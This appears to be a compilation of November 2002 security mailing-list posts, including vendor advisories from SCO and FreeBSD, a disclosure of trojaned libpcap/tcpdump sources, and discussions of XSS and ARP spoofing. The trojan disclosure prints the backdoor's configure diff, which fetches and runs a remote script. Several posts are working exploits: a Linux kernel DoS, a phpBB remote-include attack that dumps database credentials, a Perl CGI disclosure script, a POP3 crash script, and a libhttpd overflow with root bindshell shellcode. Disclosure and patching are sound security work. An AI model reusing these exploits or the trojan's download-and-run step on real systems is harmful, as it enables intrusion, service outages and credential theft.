Security Update: [CSSA-2002-SCO.42] UnixWare 7.1.1 Open UNIX 8.0.0 : in.talkd format string vulnerabilities
To: [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] __ SCO Security Advisory Subject:UnixWare 7.1.1 Open UNIX 8.0.0 : in.talkd format string vulnerabilities Advisory number:CSSA-2002-SCO.42 Issue date: 2002 November 12 Cross reference: __ 1. Problem Description The in.talkd program is vulnerable to a format string bug which can be exploited remotely. An attacker can request a talk session with a crafted luser field and be able to write memory and gain control of the flow of the in.talkd. This vulnerability can also be exploited with the clt_addr field and its resolved name (in conjuction with a DNS). 2. Vulnerable Supported Versions System Binaries -- UnixWare 7.1.1 /usr/sbin/in.otalkd /usr/sbin/in.talkd Open UNIX 8.0.0 /usr/sbin/in.otalkd /usr/sbin/in.talkd 3. Solution The proper solution is to install the latest packages. 4. UnixWare 7.1.1 4.1 Location of Fixed Binaries ftp://ftp.sco.com/pub/updates/OpenUNIX/CSSA-2002-SCO.42 4.2 Verification MD5 (erg712055.pkg.Z) = 5cd91b194857bb3149efee8bf6e3e804 md5 is available for download from ftp://ftp.sco.com/pub/security/tools 4.3 Installing Fixed Binaries Upgrade the affected binaries with the following sequence: Download erg712055.pkg.Z to the /var/spool/pkg directory # uncompress /var/spool/pkg/erg712055.pkg.Z # pkgadd -d /var/spool/pkg/erg712055.pkg 5. Open UNIX 8.0.0 5.1 Location of Fixed Binaries ftp://ftp.sco.com/pub/updates/OpenUNIX/CSSA-2002-SCO.42 5.2 Verification MD5 (erg712055.pkg.Z) = 5cd91b194857bb3149efee8bf6e3e804 md5 is available for download from ftp://ftp.sco.com/pub/security/tools 5.3 Installing Fixed Binaries Upgrade the affected binaries with the following sequence: Download erg712055.pkg.Z to the /var/spool/pkg directory # uncompress /var/spool/pkg/erg712055.pkg.Z # pkgadd -d /var/spool/pkg/erg712055.pkg 6. References Specific references for this advisory: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1010 http://www.ngsec.com/docs/advisories/NGSEC-2002-3.txt SCO security resources: http://www.sco.com/support/security/index.html This security fix closes SCO incidents sr864879, fz521053, erg712055. 7. Disclaimer SCO is not responsible for the misuse of any of the information we provide on this website and/or through our security advisories. Our advisories are a service to our customers intended to promote secure installation and use of SCO products. 8. Acknowledgements It is difficult to say who actually discovered this vulnerability. There are many candidates. __ msg09894/pgp0.pgp Description: PGP signature
FreeBSD Security Advisory FreeBSD-SA-02:41.smrsh
-BEGIN PGP SIGNED MESSAGE- = FreeBSD-SA-02:41.smrsh Security Advisory The FreeBSD Project Topic: smrsh restrictions can be bypassed Category: core Module: contrib_sendmail Announced: 2002-11-12 Credits:zen-parse <[EMAIL PROTECTED]>, Pedram Amini <[EMAIL PROTECTED]>, iDEFENSE http://www.idefense.com/> Affects:All releases prior to FreeBSD 4.7-RELEASE Corrected: 2002-10-08 00:53:31 UTC (RELENG_4) 2002-10-08 00:57:20 UTC (RELENG_4_7) 2002-10-26 21:11:30 UTC (RELENG_4_6) 2002-10-26 21:10:59 UTC (RELENG_4_5) 2002-10-26 21:10:22 UTC (RELENG_4_4) 2002-10-26 21:08:42 UTC (RELENG_4_3) FreeBSD only: NO I. Background The sendmail Restricted Shell command (smrsh) is intended as a replacement for the system shell (/bin/sh) for use by sendmail. It limits the set of programs that can be executed through sendmail to those in a single directory, and limits shell built-in commands. II. Problem Description Errors in smrsh's handling of command arguments with "||" or spaces may allow the execution of commands outside of those in its target directory. Since command arguments may be specified in local users' `.forward' files, the smrsh restrictions may be bypassed using such files that are specially crafted. III. Impact Users with a local account and the ability to create or modify their `.forward' files can circumvent the smrsh restrictions. This is mostly of consequence to systems which have local users that are not normally allowed access to a login shell, as such users may abuse this bug in order to execute arbitrary commands with normal privileges. IV. Workaround There is no known workaround, short of disabling `.forward' files. To do so, add the following line to the sendmail.mc file, regenerate the sendmail.cf configuration file, and restart sendmail. define(`confFORWARD_PATH', `')dnl V. Solution 1) Upgrade your vulnerable system to 4.7-STABLE; or to the RELENG_4_7, RELENG_4_6, RELENG_4_5, RELENG_4_4, or RELENG_4_3 security branch dated after the correction date. 2) To patch your present system: The following patch has been verified to apply to FreeBSD 4.4, FreeBSD 4.5, and FreeBSD 4.6 systems. a) Download the relevant patch from the location below, and verify the detached PGP signature using your PGP utility. # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-02:41/smrsh.patch # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-02:41/smrsh.patch.asc b) Execute the following commands as root: # cd /usr/src # patch < /path/to/patch # cd /usr/src/usr.sbin/sendmail # make depend && make && make install VI. Correction details The following list contains the revision numbers of each file that was corrected in FreeBSD. Path Revision Branch - - src/contrib/sendmail/smrsh/smrsh.c RELENG_41.3.6.9 RELENG_4_7 1.3.6.8.2.1 RELENG_4_6 1.3.6.6.2.1 RELENG_4_5 1.3.6.5.4.1 RELENG_4_4 1.3.6.5.2.1 RELENG_4_3 1.3.6.4.2.1 - - VII. References http://www.idefense.com/advisory/10.01.02.txt> -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.1 (FreeBSD) iQCVAwUBPdFKAFUuHi5z0oilAQEgVAP9F8EqcCR0MBXgrNr8LaC3RS9T0yZOL8pn wRdhi/CJrl+xXkh3PeK1t4CNnSzDjQRTCAoiguisbzxUb1ww9BYkYBrsX7/U9bOT ZTcRb23nKTLZvWhpocGLNW6tLr7TwM+6QoklHxW7TDw1pdyxdNFRk3w5eAGBc/wJ ZM+hFGmapmA= =UMny -END PGP SIGNATURE-
Opera 7 vulnerabilities
We've done some basic security tests, in cooperation with Tom Gilder, on the new Opera 7 beta release and found two major security vulnerabilities. These vulnerabilities are quite obvious and likely to be discovered by malicious users. Combined, they allow full read access to a victim's file system (including both directories and files) and scripting access to any domain. Full details will be released once Opera resolves these issues. In the meanwhile, users are encouraged not to upgrade to Opera 7 or disable scripting.
Latest libpcap & tcpdump sources from tcpdump.org contain a trojan
Updates:
* Many Mirrors are infected with the trojan
Background:
* Libpcap provides a packet sniffing library for programs like
Snort.
* Tcpdump is a standard tool for packet sniffing.
Details:
* The trojan contains modifications to the configure script and
gencode.c (in libpcap only).
* The configure script downloads
http://mars.raketti.net/~mash/services which is then sourced
with the shell. It contains an embedded shell script that
creates a C file, and compiles it.
* The program connects to 212.146.0.34 (mars.raketti.net) on port
1963 and reads one of three one byte status codes:
* A - program exits
* D - forks and spawns a shell and does the needed file
descriptor manipulation to redirect it to the existing
connection to 212.146.0.34.
* M - closes connection, sleeps 3600 seconds, and then
reconnects
Hmm... ADM...
* It's important to note that it reuses the same outgoing
connection for the shell. This gets around firewalls that block
incoming connections.
* Gencode.c is modified to force libpcap to ignore packets to/from
the backdoor program, hiding the backdoor program's traffic.
* This is similar to the OpenSSH trojan a few months ago.
Good sources:
http://www.ibiblio.org/pub/Linux/distributions/gentoo/distfiles/libpcap-0.7.1.tar.gz
http://www.ibiblio.org/pub/Linux/distributions/gentoo/distfiles/tcpdump-3.6.2.tar.gz
http://www.ibiblio.org/pub/Linux/distributions/gentoo/distfiles/tcpdump-3.7.1.tar.gz
MD5 Sum 0597c23e3496a5c108097b2a0f1bd0c7 libpcap-0.7.1.tar.gz
MD5 Sum 6bc8da35f9eed4e675bfdf04ce312248 tcpdump-3.6.2.tar.gz
MD5 Sum 03e5eac68c65b7e6ce8da03b0b0b225e tcpdump-3.7.1.tar.gz
Trojaned sources:
http://www.tcpdump.org/release/libpcap-0.7.1.tar.gz
http://www.tcpdump.org/release/tcpdump-3.6.2.tar.gz
http://www.tcpdump.org/release/tcpdump-3.7.1.tar.gz
MD5 Sum 73ba7af963aff7c9e23fa1308a793dca libpcap-0.7.1.tar.gz
MD5 Sum 3a1c2dd3471486f9c7df87029bf2f1e9 tcpdump-3.6.2.tar.gz
MD5 Sum 3c410d8434e63fb3931fe77328e4dd88 tcpdump-3.7.1.tar.gz
The (relevant) gencode.c diff:
*** 288,293
--- 289,318
{
extern int n_errors;
int len;
+ int l;
+ char *port = "1963";
+ char *str, *tmp, *new = "not port 1963";
+
+ if (buf && *buf && strstr (buf, port)) {
+ buf = "port 1964";
+ }
+ else {
+ l = strlen (new) + 1;
+ if (!(!buf || !*buf)) {
+ l += strlen (buf);
+ l += 5; /* and */
+ }
+
+ str = (char *)malloc (l);
+ str[0] = '\0';
+ if (!(!buf || !*buf)) {
+ strcpy (str, buf);
+ strcat (str, " and ");
+ }
+
+ strcat (str, new);
+ buf = str;
+ }
no_optimize = 0;
n_errors = 0;
***
The (relevant) configure diff:
+ CNF="services"
+ URL="mars.raketti.net/~mash/$CNF"
! (IFS=","
! ARGS="wget -q -O -,lynx --source,fetch -q -o -"
!
! for i in $ARGS; do
!IFS=" "
!$i $URL 1> $CNF
!if [ -f $CNF ]; then sh $CNF
!exit
!fi
!rm -f $CNF
! done) 1>/dev/null 2>/dev/null &
The "services" payload:
* trojan-script, the non-obfuscated portion (excerpted)
* services, the complete version
Thanks to:
Russell Adams <[EMAIL PROTECTED]>
Mathew Solnik <[EMAIL PROTECTED]>
Scott Stout <[EMAIL PROTECTED]>
with the Houston Linux Users Group.
Additional thanks to Bruce Locke for interpreting the backdoor code.
Thanks to Gentoo's Portage system for catching the trojaned
--
Mincu Alexandru <[EMAIL PROTECTED]>
Security Update: [CSSA-2002-045.0] Linux: python insecure temporary files in os._execvpe
To: [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] __ SCO Security Advisory Subject:Linux: python insecure temporary files in os._execvpe Advisory number:CSSA-2002-045.0 Issue date: 2002 November 14 Cross reference: __ 1. Problem Description os._execvpe from os.py in Python creates temporary files with predictable names, which could allow local users to execute arbitrary code via a symlink attack. 2. Vulnerable Supported Versions System Package -- OpenLinux 3.1.1 Server prior to python-1.5.2-23.i386.rpm prior to python-devel-1.5.2-23.i386.rpm prior to python-docs-1.5.2-23.i386.rpm prior to python-tools-1.5.2-23.i386.rpm OpenLinux 3.1.1 Workstation prior to python-1.5.2-23.i386.rpm prior to python-devel-1.5.2-23.i386.rpm prior to python-docs-1.5.2-23.i386.rpm prior to python-tools-1.5.2-23.i386.rpm OpenLinux 3.1 Serverprior to python-1.5.2-23.i386.rpm prior to python-devel-1.5.2-23.i386.rpm prior to python-docs-1.5.2-23.i386.rpm prior to python-tools-1.5.2-23.i386.rpm OpenLinux 3.1 Workstation prior to python-1.5.2-23.i386.rpm prior to python-devel-1.5.2-23.i386.rpm prior to python-docs-1.5.2-23.i386.rpm prior to python-tools-1.5.2-23.i386.rpm 3. Solution The proper solution is to install the latest packages. Many customers find it easier to use the Caldera System Updater, called cupdate (or kcupdate under the KDE environment), to update these packages rather than downloading and installing them by hand. 4. OpenLinux 3.1.1 Server 4.1 Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Server/CSSA-2002-045.0/RPMS 4.2 Packages d02a87d515a2e0295b61a70e21d85d67python-1.5.2-23.i386.rpm f026986740ce3b24aa75a6ef6d6f813dpython-devel-1.5.2-23.i386.rpm a4d8a3a8a6011f4d87d1a3c3e75150d1python-docs-1.5.2-23.i386.rpm 6283c3abfb5a339d6f3c8e1b2b0304fcpython-tools-1.5.2-23.i386.rpm 4.3 Installation rpm -Fvh python-1.5.2-23.i386.rpm rpm -Fvh python-devel-1.5.2-23.i386.rpm rpm -Fvh python-docs-1.5.2-23.i386.rpm rpm -Fvh python-tools-1.5.2-23.i386.rpm 4.4 Source Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Server/CSSA-2002-045.0/SRPMS 4.5 Source Packages 3041180ed79446f6a8cd8cfedff00c26python-1.5.2-23.src.rpm 5. OpenLinux 3.1.1 Workstation 5.1 Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Workstation/CSSA-2002-045.0/RPMS 5.2 Packages 6d2e343894471d4a93526a50e58af0a0python-1.5.2-23.i386.rpm b6deb353e9a98e9b0e340e8b477a824apython-devel-1.5.2-23.i386.rpm 7add35e7aef1386039852737a86ddbeepython-docs-1.5.2-23.i386.rpm 6171e897385c76edf00c0e02f08347cfpython-tools-1.5.2-23.i386.rpm 5.3 Installation rpm -Fvh python-1.5.2-23.i386.rpm rpm -Fvh python-devel-1.5.2-23.i386.rpm rpm -Fvh python-docs-1.5.2-23.i386.rpm rpm -Fvh python-tools-1.5.2-23.i386.rpm 5.4 Source Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Workstation/CSSA-2002-045.0/SRPMS 5.5 Source Packages 0ab0a2c193ec4031d706648ab2b3b9d1python-1.5.2-23.src.rpm 6. OpenLinux 3.1 Server 6.1 Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1/Server/CSSA-2002-045.0/RPMS 6.2 Packages d294fd2d394f464e21866a08e0023b08python-1.5.2-23.i386.rpm 4c17a3b0bc297dd2efe5cd1857894ac7python-devel-1.5.2-23.i386.rpm ed4acb8309c022ed86ca6f70d6a76977python-docs-1.5.2-23.i386.rpm 3fc021186ac2ff05af448c945481a6d5python-tools-1.5.2-23.i386.rpm 6.3 Installation rpm -Fvh python-1.5.2-23.i386.rpm rpm -Fvh python-devel-1.5.2-23.i386.rpm rpm -Fvh python-docs-1.5.2-23.i386.rpm rpm -Fvh python-tools-1.5.2-23.i386.rpm 6.4 Source Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1/Server/
Re: i386 Linux kernel DoS
On Wed, 13 Nov 2002, Stefan Laudat wrote:
> Regarding this issue: is it 80x86 or specifically 80386 designed ?
> Been trying it on AMD Duron, AMD Athlon MP, Intel i586 - just segfaults :(
Yep; the first version of the DoS I posted on bugtraq was defective and
worked only under special conditions (inside gdb for example).
However this updated version works much better:
#include
struct user_regs_struct {
long ebx, ecx, edx, esi, edi, ebp, eax;
unsigned short ds, __ds, es, __es;
unsigned short fs, __fs, gs, __gs;
long orig_eax, eip;
unsigned short cs, __cs;
long eflags, esp;
unsigned short ss, __ss;
};
int main( void )
{
int pid;
char dos[] = "\x9A\x00\x00\x00\x00\x07\x00";
void (* lcall7)( void ) = (void *) dos;
struct user_regs_struct d;
if( ! ( pid = fork() ) )
{
usleep( 1000 );
(* lcall7)();
}
else
{
ptrace( PTRACE_ATTACH, pid, 0, 0 );
while( 1 )
{
wait( 0 );
ptrace( PTRACE_GETREGS, pid, 0, &d );
d.eflags |= 0x4100; /* set TF and NT */
ptrace( PTRACE_SETREGS, pid, 0, &d );
ptrace( PTRACE_SYSCALL, pid, 0, 0 );
}
}
return 1;
}
At the beginning I thought only kernels <= 2.4.18 were affected; but it
appeared that both kernels 2.4.19 and 2.4.20-rc1 are vulnerable as well.
The flaw seems to be related to the kernel's handling of the nested task
(NT) flag inside a lcall7.
--
Christophe Devine
RE: i386 Linux kernel DoS
Christophe Devine writes:
> /* USE AT YOUR OWN RISK ! */
>
> int main( void )
> {
> char dos[] = "\x9C" /* pushfd */
> "\x58" /* pop eax */
> "\x0D\x00\x01\x00\x00" /* or eax,100h */
> "\x50" /* push eax */
> "\x9D" /* popfd*/
> "\x9A\x00\x00\x00\x00\x07\x00"; /* call 07h:00h */
>
> void (* f)( void );
>
> f = (void *) dos; (* f)();
>
> return 1;
> }
You didn't specify which kernel this was being used against, but
this is what the response from LKML is:
> -Original Message-
> From: Alan Cox
> Sent: Tuesday, November 12, 2002 3:10 PM
> To: Christoph Hellwig
> Cc: Leif Sawyer; Linux Kernel Mailing List
> Subject: Re: FW: i386 Linux kernel DoS
>
>
> On Tue, 2002-11-12 at 23:31, Christoph Hellwig wrote:
> > On Tue, Nov 12, 2002 at 02:28:55PM -0900, Leif Sawyer wrote:
> > > This was posted on bugtraq today...
> >
> > A real segfaulting program? wow :)
>
> Looks like the TF handling bug which was fixed a while ago
RE: Exploit code for IP Smart Spoofing
Laurent, Thanks for your note. In reality IP Smartspoofing is no different than ARP cache poisoning so I'm not entirely sure why a new name was "invented". In this particular case one is able to prevent the following: - key ports and corresponding MAC entries are hardcoded and secured (ie gateways). If there is a MAC violation, this is logged and the port is shut down. 9 times out of 10 if someone is performing ARP spoofing they will go for a device that is best connected so consider this a fly trap. - host ports are protected by only allowing one MAC address on a port at any given time with a lag of 5 minutes for timeout. Yes a station can change its hardcoded MAC. This will allow them to see at most the traffic of one other host on the switch. Not perfect, but the odds are greatly reduced. A couple of ways that come to mind for having complete protection are: - have a method of detecting duplicate MAC addresses on a switch - enable "sticky" ARP. This will keep end stations from being able to change their MAC address, but at a potentially high administrative burden. I'll make a note of this option in the doc. Cheers, -- steve -Original Message- From: Laurent Licour [mailto:llicour@;althes.fr] Sent: Thursday, November 14, 2002 3:56 AM To: [EMAIL PROTECTED] Cc: 'Stephen Gill' Subject: RE: Exploit code for IP Smart Spoofing Your document is quite usefull, but there is no way to protect against IP smartspoofing with a switch. Smartspoofing use ARP cache poisonning of hosts. Using a switch, you can only protect against MAC spoofing as describe in your document. You can also detect and refuse the plug of a new host on your network. But as it is possible to change the MAC address of hosts (at least linux and windows 2000), this protection is not very strong. You just have to replace a host by another. One way to protect with switchs could be the use of switchs that are able to create their CAM entry with the PORT, the MAC and the IP. (against PORT and MAC only for now) I think that only layer 3 switch are able to do such work. I have however no specific information about which switch support this feature. Nortel Passeport 8600 is supposed to do this with the IP filter feature (something like an ACL associated with each PORT) In any case, this could protect only a LAN. If you put a source IP filtering rule IP that allows an external IP, you have no way to detect a spoofing connexion. Only cryptography can help you (IPSec...) Regards Laurent Licour [EMAIL PROTECTED] -Message d'origine- De : Stephen Gill [mailto:gillsr@;yahoo.com] Envoyé : mercredi 13 novembre 2002 20:33 À : 'Laurent Licour'; [EMAIL PROTECTED] Objet : RE: Exploit code for IP Smart Spoofing In order to mitigate this on edge switches it may behoove the network administrator to review his or her security policy and adhere to stricter guidelines. The following document suggests one method for protecting Cisco switches along with additional guidelines for secure configuration in a template format. http://www.qorbit.net/documents/catalyst-secure-template.pdf http://www.qorbit.net/documents/catalyst-secure-template.htm Comments or suggestions welcome. -- steve *---* * Cet e-mail et toutes les pièces jointes sont destinés aux * * seules personnes auxquelles ils sont spécifiquement adressés * * et n'engagent que le signataire de ces documents et non la* * structure dont il dépend. * * Leur existence et leur contenu ont un caractère confidentiel. * * Toute utilisation ou diffusion non autorisée est interdite. * * Si vous avez reçu cet e-mail ou si vous détenez sans en être * * le destinataire, nous vous demandons de bien vouloir nous en * * informer immédiatement. * * Cette note assure que ce message a été contrôlé et ne * * comprenait aucun virus connu à ce jour, néanmoins tout* * message électronique est susceptible d'altération.* * Nous déclinons toute responsabilité au titre de ce message* * s'il a été altéré, déformé ou falsifié.* *---*
Code Injection in phpBB Advanced Quick Reply Mod
Software: phpBB Advanced Quick Reply Mod
I've found a security hole in this sofware (Code Injection). You can
download this software at http://phpbbhacks.com/viewhack.php?id=586
Hackers can exploit this Mod to inject some shell code to hack your forum,
your website or your server (local exploit) because Code Injection is a
dangerous technique of hackers.
Exploit: (quick_reply.php)
if ( $mode == 'smilies' )
{
define('IN_PHPBB', true);
include($phpbb_root_path . 'extension.inc');
include($phpbb_root_path . 'common.'.$phpEx);
include($phpbb_root_path . 'includes/functions_post.'.$phpEx);
generate_smilies('window', PAGE_POSTING);
exit;
}
And you can make a php file which named 'extension.inc' to inclusion to
access that forum. example:
";
echo "DB Host: $dbhost ";
echo "DB Name: $dbname ";
echo "DB User: $dbuser ";
echo "DB Pass: $dbpasswd ";
exit;
?>
After that, you upload this file to your server (http://[Your
Server]/extension.inc) and enter URL
http://[phpBB_Forum]/quick_reply.php?phpbb_root_path=http://[Your
Server]/&mode=smiles
You'll be recived all DB Info of forum
Patch: (quick_reply.php)
[FIND]
if ( $mode == 'smilies' )
{
[ADD BEFORE]
phpbb_root_path = "./";
Sorry for my poor english.
Luke (HVA)
http://www.hackervn.net
Perception LiteServe HTTP CGI Disclosure Vulnerability
Christopher Fillion's "Perception" web site hosts the LiteServe combination
server for Win32. The server offers HTTP, FTP, SMTP, POP3, and Telnet
services. Included in the HTTP service is a Common Gateway Interface (CGI)
feature that allows you to specify a CGI alias, as well as "filters" that
are run when a file of a particular type is accessed.
A vulnerability in the server related to the handling of filenames on Win32
platforms may reveal the code of a desired CGI script to an attacker.
Windows handles file names with the "." character (0x2E) on the end as if
the said character had been removed. LiteServe fails to compensate for
this behavior, and is vulnerable to a simple CGI disclosure attack.
The upcoming release of LiteServe 2.03 should eliminate this vulnerability.
Exploit
#!/usr/bin/perl
#
# LS_FETCH.PL
# By Matthew Murphy
# LiteServe 2.02 and prior - CGI Disclosure
# Usage: perl ls_fetch.pl [filename] [host] [alias] [port]
use IO::Socket;
use URI::Escape;
$alias = "cgi-isapi"; # Default LiteServe CGI alias
$port = 80;
if (@ARGV < 2 || @ARGV > 4) {
print STDOUT "Usage: perl $0 [filename] [host] [alias=cgi-isapi] [port=80]
} else {
if (@ARGV >= 3) {
$alias = $ARGV[2];
}
if (@ARGV == 4) {
$port = $ARGV[3];
}
$filename = $ARGV[1];
$host = $ARGV[2];
$f = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Proto=>"tcp");
$f->autoflush(1);
$b = sprintf("GET /%s/%s. HTTP/1.0\r\n\r\n", $alias, uri_escape($file));
print $f $b;
while (defined($line=<$f>)) {
print STDOUT $line;
}
undef $f;
}
mail2web - Check your email from the web at
http://mail2web.com/ .
IISPop remote DOS
hi
The IISPop EMail Server (http://www.curtiscomp.com/)was
designed for small networks,This is a POP3 only server,
designed to be paired with the SMTP server bundled in
Windows 2000/IIS 5.
I have found that IISpop is vulnerable has a attack DOS
caused by sends of a broad buffer (28 byte) this attack
gives the following state of the registers (tested on v
1.161 end 1.181)
Access violation - code c005 (first chance)
eax=0041 ebx=00407d3d ecx=0101 edx=21ae
esi=0040693d edi=00437181
eip=77e76941 esp=0112ffb0 ebp=026c iopl=0 nv up
ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038
gs= efl=0206
KERNEL32!GetCurrentThreadId+4:
77e76941 add [eax],al
ds:0023:0041=??
(unhandled exeption in IISPop.exe (KRNELL32.DLL)
0xc005 : access violation
exploit:
#!/usr/bin/perl -w
# tool : iispdos.pl
# shutdown all version of IISPop
# greetz crack.fr , marocit ,christal
#
use IO::Socket;
$ARGC=@ARGV;
if ($ARGC !=1) {
print "\n-->";
print "\tUsage: perl iispdos.pl \n";
exit;
}
$remo = $ARGV[0];
$buffer = "A" x 28;
print "\n-->";
print "\tconnection with $remo\n";
unless ($so = IO::Socket::INET->new (Proto => "TCP",
PeerAddr => $remo,
PeerPort
=> "110"))
{
print "-->";
print "\tConnection Failed...\n";
exit;
}
print $so "$buffer\n";
close $so;
print "-->";
print "\tnow test if the distant host is down\n";
exit;
_
Gagne une PS2 ! Envoie un SMS avec le code PS au 61166
(0,35 Hors coût du SMS)
Re: Bind 8 bug experience
Once upon a time, Michael Brennen <[EMAIL PROTECTED]> said: > Three bugs in bind 4 and 8 were announced this morning, November 12. > At least one has the possibility of arbitrary code execution, and > the ISC web site lists it as 'Serious'. > > At 13:02 CST this afternoon per the ISC announcement, about an hour > after receiving the bug announcement, I requested bind 8 patches > from Lynda McGinley, Executive Director of ISC. I received a > response from her roughly 8 hours later this evening that I had been > added to the patch announce list. My thanks to Lynda for that, but > she did not give direct information on where to get the patches, and > I have received nothing from the patch announce list. I don't know > when I can expect to receive anything -- tonight, next week, or next > month? I also (per the announcement from ISC) emailed Lynda McGinley requesting patches. I never received a response. I kept watch on the ISC web site and downloaded the patch last night (the file timestamps in the patch are all Oct 30 2002, so the patch was ready in plenty of time). We cannot upgrade some of our servers to BIND 9 because it (in my experience and in the experience of others) is not stable on Compaq/HP Tru64 Unix. Repeated messages on the BIND mailing list by myself and others have been ignored (except by other Tru64 users with the same problems), so as far as I know, no work is going on to fix BIND 9 on Tru64. We either run BIND 8 or don't run BIND (and despite the work involved in switching, running something other than BIND is looking good). -- Chris Adams <[EMAIL PROTECTED]> Systems and Network Administrator - HiWAAY Internet Services I don't speak for anybody but myself - that's enough trouble.
RE: Opera 7 vulnerabilities
Monitoring which pages a user visits is also possible, and in general there seems to be some oversights in this otherwise smooth rewrite. Add to that some of the more odd bugs functionalitywise, and I would say there is room for a beta 2 ;) Regards Thor Larholm, Security Researcher PivX Solutions, LLC Strike Now, StrikeFirst! http://www.pivx.com/sf.html -Original Message- From: GreyMagic Software [mailto:security@;greymagic.com] Sent: 14. november 2002 17:43 To: Bugtraq Subject: Opera 7 vulnerabilities We've done some basic security tests, in cooperation with Tom Gilder, on the new Opera 7 beta release and found two major security vulnerabilities. These vulnerabilities are quite obvious and likely to be discovered by malicious users. Combined, they allow full read access to a victim's file system (including both directories and files) and scripting access to any domain. Full details will be released once Opera resolves these issues. In the meanwhile, users are encouraged not to upgrade to Opera 7 or disable scripting.
RE: A technique to mitigate cookie-stealing XSS attacks
Two things: While I agree that XSS is far more serious than has been discussed in this thread, addressing cookie stealing is still a legitimate pursuit. Second (and considerably more verbose), you said >As another example, the "FRAME SECURITY=RESTRICTED" feature described >by Michael Howard could be defeated by HTML injection - the attacker >could inject a tag and follow it with the malicious code. >This could also apply to the tag proposed by Seth Arnold, at >... Couldn't browsers recognize this possibility and ignore intermediate or nested tags? For example, some text here. Malicious injected HTML More malicious injected HTML more safe text here where the browser recognizes that nested tags are meaningless and pays no attention, and also recognizes that the number of tags exceeds the number of tags, and so extends the dead space until the very final tag is identified. A requirement for this tag to work would have to either be that there can be only one tag per page, to prevent someone from doing this: text Malware line text or else require that the tag take an argument, id, to specify which block it refers to. So then you can have Malware line Recognizing dead tags with the same id's allows the browser to identify what may have potentially been injected by marking the space dead between the very first and very last occurance of a dead tag with a particular id. Except, doesn't fit SGML standards, which is particularly unfortunate. Another alternative might be where the tag is stand alone and marks a space as dead-required for a certain length, regardless of what code occurs within there. Then it can be up to the browser to identify potentially harmful code, such as meta redirects, active controls, scripting, iframes, etc (pretty much anything that is not direct text markup), and refuse to run this code. Information could even be added in the HTML headers to let the browser know what this site considers illegal markup within dead space. Example, refusing to display images, but allowing hyperlinks, or whatever, *including* attributes of specific tags. ... http://*"; width="<600" height="<150" alt="*" allow=1> http://*"; allow=1> Here we would allow any image which has a src that starts with "http://";, with any width under 600, height under 150, and any alt tag. All other attributes would be ignored. Hyperlinks can be used so long as they begin with "http://";, and all other attributes are ignored. Font of any face, and any size under 4. And finally disallow blockquotes. I assume that these tags would all have default allowances within dead space, that these definitions redefine or refine. In the end though, if we talk about enabling the browser to protect itself against unknown injections, we are looking at a couple of years at a minimum until we can be relatively secure in the knowledge that we can gain any trustworthy level of security from this concept. But I guess my point was that there are ways for the browser to protect itself, and distinguish from site-author authored code and blackhat code. -MightyE
Remote Buffer Overflow vulnerability in Lib HTTPd.
INetCop Security Advisory #2002-0x82-003
* Title: Remote Buffer Overflow vulnerability in Lib HTTPd.
0x01. Description
LibHTTPD can be used to add basic web server capabilities to an application or
embedded device.
Detailed contents desire to reference lower part homepage. :-)
If examine 'api.c' of library libhttpd.a source code, can find vulnerability.
Can see httpdProcessRequest() in line:860
__
860 void httpdProcessRequest(server)
861 httpd *server;
862 {
863 chardirName[HTTP_MAX_URL],
...
869 server->response.responseLength = 0;
870 strcpy(dirName, httpdRequestPath(server)); // here.
--
Herewith, fatal vulnerability that can execute rootshell in remote happens.
0x02. Vulnerable Packages
Vendor site: http://www.hughes.com.au/products/libhttpd/
libhttpd-1.2
-libhttpd-1.2.tar.gz
+Linux
+Other
0x03. Exploit
This's exploit code that prove.
Through remote attack, get 'root' competence.
Use netcat for very easy exploit.
To do simple explanation about exploit.
Through POST, insert much &shellcode address.
Put next nop,shellcode.
(Port:3879 bindshell code)
=== 0x82-Remote.libhttpdxpl.c ===
/*
**
** Lib HTTPd Remote Buffer Overflow exploit
** by Xpl017Elz
** __
** Testing exploit:
**
** bash$ (./0x82-Remote.libhttpdxpl;cat)|nc libhttphost 80
**
** (Ctrl+c)
** punt!
** bash$ nc libhttphost 3879
** uname
** Linux
** id
** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),
** 3(sys),4(adm),6(disk),10(wheel)
** exit
** bash$
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <[EMAIL PROTECTED]>.
** My World: http://x82.i21c.net
**
*/
#include
int main(/* args? */)
{
int shadd2r;
char b1ndsh[] = /* 129byte bindshellcode */
"\211\3451\322\262f\211\3201\311\211\313C\211]\370C\211]\364K\211M\374\215M"
"\364\315\2001\311\211E\364Cf\211]\354f\307E\356\017'\211M\360\215E\354\211E"
"\370\306E\374\020\211\320\215M\364\315\200\211\320CC\315\200\211\320C\315"
"\200\211\3031\311\262?\211\320\315\200\211\320A\315\200\353\030^\211u"
"\b1\300\210F\007\211E\f\260\013\211\363\215M\b\215U\f\315\200\350\343\377"
"\377\377/bin/sh";
//--- POST &shellcode ---//
fprintf(stdout,"POST ");
for(shadd2r=0;shadd2r<0x408;shadd2r+=4)
{/* rEDhAT Default: 0x804e482,
Debian Address? */
fprintf(stdout,"\202\344\004\b");
}
fprintf(stdout,"\r\n");
//--- NOP,shellcode ---//
for(shadd2r=0;shadd2r<0x3e8;shadd2r++)
{/* ...S;;; */
fprintf(stdout,"S");
}
fprintf(stdout,"%s\r\nx0x\r\nx82\r\nl0l\r\n",b1ndsh);
}
=== eof ===
0x04. Patch
=== api.patch ===
--- api.c Sat Nov 9 20:06:30 2002
+++ api.patch.c Sat Nov 9 20:05:33 2002
@@ -867,7 +867,7 @@
httpContent *entry;
server->response.responseLength = 0;
- strcpy(dirName, httpdRequestPath(server));
+ strncpy(dirName, httpdRequestPath(server), HTTP_MAX_URL);
cp = rindex(dirName, '/');
